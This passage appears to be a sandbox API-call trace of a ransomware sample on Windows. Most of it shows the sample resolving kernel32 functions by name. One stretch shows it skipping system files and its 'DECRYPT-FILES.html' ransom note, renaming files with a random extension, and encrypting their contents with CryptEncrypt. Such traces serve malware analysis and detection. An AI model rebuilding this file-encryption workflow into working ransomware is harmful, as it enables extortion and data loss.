[0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0119.423] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0119.423] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0119.423] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0119.423] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0119.423] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0119.423] lstrlenA (lpString="CREATEFILEW") returned 11 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0119.423] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0119.423] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0119.423] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0119.423] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0119.423] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0119.423] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0119.423] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0119.423] lstrlenA (lpString="CREATEJOBSET") returned 12 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0119.423] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0119.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0119.424] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0119.424] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0119.424] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0119.424] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0119.424] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0119.424] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0119.424] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0119.424] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0119.424] lstrlenA (lpString="CREATEPIPE") returned 10 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0119.424] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0119.424] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0119.424] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0119.424] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0119.424] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0119.424] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0119.424] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0119.424] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0119.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0119.425] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0119.425] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0119.425] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0119.425] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0119.425] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0119.425] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0119.425] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0119.425] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0119.425] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0119.425] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0119.425] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0119.425] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0119.425] lstrlenA (lpString="CREATETHREAD") returned 12 [0119.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0119.425] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0119.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0119.426] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0119.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0119.426] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0119.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0119.426] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0119.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0119.426] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0119.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0119.426] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0119.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0119.426] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0119.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0119.426] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1031\\eula.rtf.lcZ4fq") returned 42 [0119.426] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.lcZ4fq" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.lcz4fq"), dwFlags=0x0) returned 1 [0119.427] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.427] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.427] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.428] FindNextFileW (in: hFindFile=0x3b81140, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0119.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0119.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0119.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0119.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0119.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0119.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0119.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0119.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0119.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0119.428] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0119.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\") returned 27 [0119.428] lstrlenW (lpString="LocalizedData.xml") returned 17 [0119.428] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1031\\" | out: lpString1="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0119.428] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" [0119.428] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0119.428] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0119.429] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=82346) returned 1 [0119.429] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0119.429] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0119.579] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0119.580] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0119.580] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0119.580] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0119.580] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0119.598] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.599] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0119.600] CloseHandle (hObject=0x5f8) returned 1 [0119.600] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.600] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0119.601] CloseHandle (hObject=0x0) returned 0 [0119.601] CloseHandle (hObject=0x5f4) returned 1 [0119.603] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.604] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.604] GetTickCount () returned 0x33559 [0119.604] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0119.604] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0119.604] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0119.605] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0119.605] lstrlenA (lpString="kernel32.dll") returned 12 [0119.605] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0119.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0119.605] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0119.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0119.605] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0119.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0119.605] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0119.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0119.605] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0119.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0119.605] lstrlenA (lpString="ADDATOMA") returned 8 [0119.605] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0119.606] lstrlenA (lpString="ADDATOMW") returned 8 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0119.606] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0119.606] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0119.606] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0119.606] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0119.606] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0119.606] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0119.606] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0119.606] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0119.606] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0119.606] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0119.606] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0119.606] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0119.606] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0119.606] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0119.606] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0119.606] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0119.606] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0119.607] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0119.607] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0119.607] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0119.607] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0119.607] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0119.607] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0119.607] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0119.607] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0119.607] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0119.607] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0119.607] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0119.607] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0119.607] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0119.607] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0119.607] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0119.607] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0119.607] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0119.608] lstrlenA (lpString="BACKUPREAD") returned 10 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0119.608] lstrlenA (lpString="BACKUPSEEK") returned 10 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0119.608] lstrlenA (lpString="BACKUPWRITE") returned 11 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0119.608] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0119.608] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0119.608] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: 